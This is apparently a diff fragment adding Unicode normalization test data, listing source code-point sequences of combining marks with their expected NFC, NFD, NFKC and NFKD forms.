+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08EF, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08EF, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08EF, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08EF, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08EF, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08EF, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08EF, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08EF, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08EF, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08EF, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x064C, 0x064B, 0xFB1E, 0x08F0, 0x0062], NFC: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x064B, 0x08F0, 0x064C, 0x0062] },
+{ source: [0x0061, 0x08F0, 0x064C, 0x064B, 0xFB1E, 0x0062], NFC: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062], NFD: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062], NFKC: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062], NFKD: [0x0061, 0xFB1E, 0x08F0, 0x064B, 0x064C, 0x0062] },
+{ source: [0x0061, 0x064D, 0x064C, 0x064B, 0x08F1, 0x0062], NFC: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x064C, 0x08F1, 0x064D, 0x0062] },
+{ source: [0x0061, 0x08F1, 0x064D, 0x064C, 0x064B, 0x0062], NFC: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062], NFD: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062], NFKC: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062], NFKD: [0x0061, 0x064B, 0x08F1, 0x064C, 0x064D, 0x0062] },
+{ source: [0x0061, 0x0618, 0x064D, 0x064C, 0x08F2, 0x0062], NFC: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x064D, 0x08F2, 0x0618, 0x0062] },
+{ source: [0x0061, 0x08F2, 0x0618, 0x064D, 0x064C, 0x0062], NFC: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062], NFD: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062], NFKC: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062], NFKD: [0x0061, 0x064C, 0x08F2, 0x064D, 0x0618, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F3, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F3, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F3, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F3, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F3, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F3, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F3, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F4, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F4, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F4, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F4, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F4, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F4, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F4, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F5, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F5, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F5, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F5, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F5, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F5, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F5, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08F6, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08F6, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08F6, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08F6, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08F6, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08F6, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08F6, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08F6, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08F6, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08F6, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F7, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F7, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F7, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F7, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F7, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F7, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F7, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08F8, 0x0062], NFC: [0x00E0, 0x05AE, 0x08F8, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08F8, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08F8, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08F8, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08F8, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08F8, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08F9, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08F9, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08F9, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08F9, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08F9, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08F9, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08F9, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08F9, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08F9, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08F9, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x08FA, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x08FA, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x08FA, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x08FA, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x08FA, 0x059A, 0x0062] },
+{ source: [0x0061, 0x08FA, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x08FA, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x08FA, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x08FA, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x08FA, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FB, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FB, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FB, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FB, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FB, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FB, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FB, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FC, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FC, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FC, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FC, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FC, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FC, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FC, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FD, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FD, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FD, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FD, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FD, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FD, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FD, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FE, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x08FF, 0x0062], NFC: [0x00E0, 0x05AE, 0x08FF, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x08FF, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x08FF, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x08FF, 0x0315, 0x0062] },
+{ source: [0x0061, 0x08FF, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x08FF, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x093C, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x093C, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x094D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x094D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0951, 0x0062], NFC: [0x00E0, 0x05AE, 0x0951, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0951, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0951, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0951, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0951, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0951, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x059A, 0x0316, 0x302A, 0x0952, 0x0062], NFC: [0x0061, 0x302A, 0x0316, 0x0952, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0316, 0x0952, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0316, 0x0952, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0316, 0x0952, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0952, 0x059A, 0x0316, 0x302A, 0x0062], NFC: [0x0061, 0x302A, 0x0952, 0x0316, 0x059A, 0x0062], NFD: [0x0061, 0x302A, 0x0952, 0x0316, 0x059A, 0x0062], NFKC: [0x0061, 0x302A, 0x0952, 0x0316, 0x059A, 0x0062], NFKD: [0x0061, 0x302A, 0x0952, 0x0316, 0x059A, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0953, 0x0062], NFC: [0x00E0, 0x05AE, 0x0953, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0953, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0953, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0953, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0953, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0953, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x0954, 0x0062], NFC: [0x00E0, 0x05AE, 0x0954, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x0954, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x0954, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x0954, 0x0315, 0x0062] },
+{ source: [0x0061, 0x0954, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0954, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x09BC, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x09BC, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x09BC, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x09BC, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x09BC, 0x3099, 0x0062] },
+{ source: [0x0061, 0x09BC, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x09BC, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x09BC, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x09BC, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x09BC, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x09CD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x09CD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x09CD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x09CD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0315, 0x0300, 0x05AE, 0x09FE, 0x0062], NFC: [0x00E0, 0x05AE, 0x09FE, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x0300, 0x09FE, 0x0315, 0x0062], NFKC: [0x00E0, 0x05AE, 0x09FE, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x0300, 0x09FE, 0x0315, 0x0062] },
+{ source: [0x0061, 0x09FE, 0x0315, 0x0300, 0x05AE, 0x0062], NFC: [0x0061, 0x05AE, 0x09FE, 0x0300, 0x0315, 0x0062], NFD: [0x0061, 0x05AE, 0x09FE, 0x0300, 0x0315, 0x0062], NFKC: [0x0061, 0x05AE, 0x09FE, 0x0300, 0x0315, 0x0062], NFKD: [0x0061, 0x05AE, 0x09FE, 0x0300, 0x0315, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x0A3C, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x0A3C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x0A3C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x0A3C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x0A3C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0A3C, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x0A3C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x0A3C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x0A3C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x0A3C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0A4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0A4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0A4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0A4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x0ABC, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x0ABC, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x0ABC, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x0ABC, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x0ABC, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0ABC, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x0ABC, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x0ABC, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x0ABC, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x0ABC, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0ACD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0ACD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0ACD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0ACD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x3099, 0x093C, 0x16FF0, 0x0B3C, 0x0062], NFC: [0x0061, 0x16FF0, 0x093C, 0x0B3C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x093C, 0x0B3C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x093C, 0x0B3C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x093C, 0x0B3C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x0B3C, 0x3099, 0x093C, 0x16FF0, 0x0062], NFC: [0x0061, 0x16FF0, 0x0B3C, 0x093C, 0x3099, 0x0062], NFD: [0x0061, 0x16FF0, 0x0B3C, 0x093C, 0x3099, 0x0062], NFKC: [0x0061, 0x16FF0, 0x0B3C, 0x093C, 0x3099, 0x0062], NFKD: [0x0061, 0x16FF0, 0x0B3C, 0x093C, 0x3099, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0B4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0B4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0B4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0B4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0BCD, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0BCD, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0BCD, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0BCD, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x05B0, 0x094D, 0x3099, 0x0C4D, 0x0062], NFC: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x094D, 0x0C4D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0C4D, 0x05B0, 0x094D, 0x3099, 0x0062], NFC: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062], NFD: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062], NFKC: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062], NFKD: [0x0061, 0x3099, 0x0C4D, 0x094D, 0x05B0, 0x0062] },
+{ source: [0x0061, 0x0C56, 0x0C55, 0x0711, 0x0C55, 0x0062], NFC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062] },
+{ source: [0x0061, 0x0C55, 0x0C56, 0x0C55, 0x0711, 0x0062], NFC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKC: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062], NFKD: [0x0061, 0x0711, 0x0C55, 0x0C55, 0x0C56, 0x0062] },
